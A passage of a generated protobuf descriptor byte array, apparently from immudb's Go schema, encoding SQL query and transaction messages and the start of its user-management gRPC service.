0xa4, 0x01, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, - 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, 0x28, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x42, - 0x02, 0x18, 0x01, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, - 0x6f, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, 0x53, 0x74, 0x72, 0x65, - 0x61, 0x6d, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x61, 0x63, 0x63, 0x65, 0x70, 0x74, - 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, - 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, - 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, - 0x65, 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, - 0x05, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, - 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, - 0x67, 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, - 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, - 0x61, 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, - 0x64, 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, - 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, - 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, - 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, - 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, - 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, - 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, - 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, - 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, - 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, - 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, - 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, - 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, - 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, - 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, - 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, - 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, - 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x18, - 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, - 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x06, - 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, - 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, 0x52, - 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, - 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, - 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, - 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, - 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, 0x6c, - 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, 0x75, - 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, 0x57, - 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, - 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, 0x17, - 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, 0x6e, 0x63, 0x6c, - 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x12, 0x59, 0x0a, 0x15, 0x73, 0x6e, 0x61, 0x70, 0x73, - 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, - 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x4d, - 0x69, 0x6c, 0x6c, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6e, 0x64, 0x73, 0x52, 0x15, 0x73, 0x6e, 0x61, - 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x6e, 0x65, 0x77, 0x61, 0x6c, 0x50, 0x65, 0x72, 0x69, - 0x6f, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, 0x43, 0x43, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0a, 0x75, 0x6e, 0x73, 0x61, 0x66, 0x65, 0x4d, 0x56, - 0x43, 0x43, 0x22, 0x35, 0x0a, 0x0d, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, - 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22, 0x35, 0x0a, 0x09, 0x45, 0x72, 0x72, - 0x6f, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x12, 0x0a, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x63, 0x6f, 0x64, 0x65, 0x12, 0x14, 0x0a, 0x05, 0x63, 0x61, - 0x75, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x63, 0x61, 0x75, 0x73, 0x65, - 0x22, 0x21, 0x0a, 0x09, 0x44, 0x65, 0x62, 0x75, 0x67, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x14, 0x0a, - 0x05, 0x73, 0x74, 0x61, 0x63, 0x6b, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x73, 0x74, - 0x61, 0x63, 0x6b, 0x22, 0x2c, 0x0a, 0x09, 0x52, 0x65, 0x74, 0x72, 0x79, 0x49, 0x6e, 0x66, 0x6f, - 0x12, 0x1f, 0x0a, 0x0b, 0x72, 0x65, 0x74, 0x72, 0x79, 0x5f, 0x64, 0x65, 0x6c, 0x61, 0x79, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x72, 0x65, 0x74, 0x72, 0x79, 0x44, 0x65, 0x6c, 0x61, - 0x79, 0x22, 0x5f, 0x0a, 0x17, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, - 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, - 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x65, 0x74, 0x65, - 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, 0x6f, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x0f, 0x72, 0x65, 0x74, 0x65, 0x6e, 0x74, 0x69, 0x6f, 0x6e, 0x50, 0x65, 0x72, 0x69, - 0x6f, 0x64, 0x22, 0x36, 0x0a, 0x18, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, - 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x1a, - 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, - 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x2a, 0x6c, 0x0a, 0x0c, 0x53, 0x51, - 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x55, 0x4e, - 0x4b, 0x4e, 0x4f, 0x57, 0x4e, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x53, 0x45, 0x4c, 0x45, 0x43, - 0x54, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x43, 0x52, 0x45, 0x41, 0x54, 0x45, 0x10, 0x02, 0x12, - 0x0a, 0x0a, 0x06, 0x49, 0x4e, 0x53, 0x45, 0x52, 0x54, 0x10, 0x03, 0x12, 0x0a, 0x0a, 0x06, 0x55, - 0x50, 0x44, 0x41, 0x54, 0x45, 0x10, 0x04, 0x12, 0x0a, 0x0a, 0x06, 0x44, 0x45, 0x4c, 0x45, 0x54, - 0x45, 0x10, 0x05, 0x12, 0x08, 0x0a, 0x04, 0x44, 0x52, 0x4f, 0x50, 0x10, 0x06, 0x12, 0x09, 0x0a, - 0x05, 0x41, 0x4c, 0x54, 0x45, 0x52, 0x10, 0x07, 0x2a, 0x4b, 0x0a, 0x0f, 0x45, 0x6e, 0x74, 0x72, - 0x79, 0x54, 0x79, 0x70, 0x65, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x0b, 0x0a, 0x07, 0x45, - 0x58, 0x43, 0x4c, 0x55, 0x44, 0x45, 0x10, 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x4f, 0x4e, 0x4c, 0x59, - 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x41, 0x57, - 0x5f, 0x56, 0x41, 0x4c, 0x55, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x52, 0x45, 0x53, 0x4f, - 0x4c, 0x56, 0x45, 0x10, 0x03, 0x2a, 0x29, 0x0a, 0x10, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x09, 0x0a, 0x05, 0x47, 0x52, 0x41, - 0x4e, 0x54, 0x10, 0x00, 0x12, 0x0a, 0x0a, 0x06, 0x52, 0x45, 0x56, 0x4f, 0x4b, 0x45, 0x10, 0x01, - 0x2a, 0x34, 0x0a, 0x06, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x52, 0x65, - 0x61, 0x64, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x57, 0x72, 0x69, 0x74, - 0x65, 0x4f, 0x6e, 0x6c, 0x79, 0x10, 0x01, 0x12, 0x0d, 0x0a, 0x09, 0x52, 0x65, 0x61, 0x64, 0x57, - 0x72, 0x69, 0x74, 0x65, 0x10, 0x02, 0x32, 0xbb, 0x36, 0x0a, 0x0b, 0x49, 0x6d, 0x6d, 0x75, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x50, 0x0a, 0x09, 0x4c, 0x69, 0x73, 0x74, 0x55, 0x73, - 0x65, 0x72, 0x73, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, - 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x17, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x73, 0x65, 0x72, - 0x4c, 0x69, 0x73, 0x74, 0x22, 0x12, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x75, - 0x73, 0x65, 0x72, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x58, 0x0a, 0x0a, 0x43, 0x72, 0x65, 0x61, - 0x74, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x20, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, - 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, - 0x22, 0x10, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0a, 0x3a, 0x01, 0x2a, 0x22, 0x05, 0x2f, 0x75, 0x73, - 0x65, 0x72, 0x12, 0x70, 0x0a, 0x0e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, - 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, - 0x74, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x3a, 0x01, 0x2a, 0x22, 0x15, 0x2f, - 0x75, 0x73, 0x65, 0x72, 0x2f, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x2f, 0x63, 0x68, - 0x61, 0x6e, 0x67, 0x65, 0x12, 0x75, 0x0a, 0x10, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, - 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, - 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, - 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, - 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x21, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1b, - 0x3a, 0x01, 0x2a, 0x22, 0x16, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, 0x6e, 0x67, - 0x65, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x92, 0x01, 0x0a, 0x13, - 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, - 0x67, 0x65, 0x73, 0x12, 0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, - 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, - 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2a, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, - 0x68, 0x61, 0x6e, 0x67, 0x65, 0x53, 0x51, 0x4c, 0x50, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, - 0x65, 0x73, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x1e, 0x3a, 0x01, 0x2a, 0x22, 0x19, 0x2f, 0x75, 0x73, 0x65, 0x72, 0x2f, 0x63, 0x68, 0x61, - 0x6e, 0x67, 0x65, 0x73, 0x71, 0x6c, 0x70, 0x72, 0x69, 0x76, 0x69, 0x6c, 0x65, 0x67, 0x65, 0x73, - 0x12, 0x6c, 0x0a, 0x0d, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, - 0x72, 0x12, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, - 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1e, - 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01, 0x2a, 0x22, 0x13, 0x2f, 0x75, 0x73, 0x65, 0x72, - 0x2f, 0x73, 0x65, 0x74, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x12, 0x4a, - 0x0a, 0x10, 0x55, 0x70, 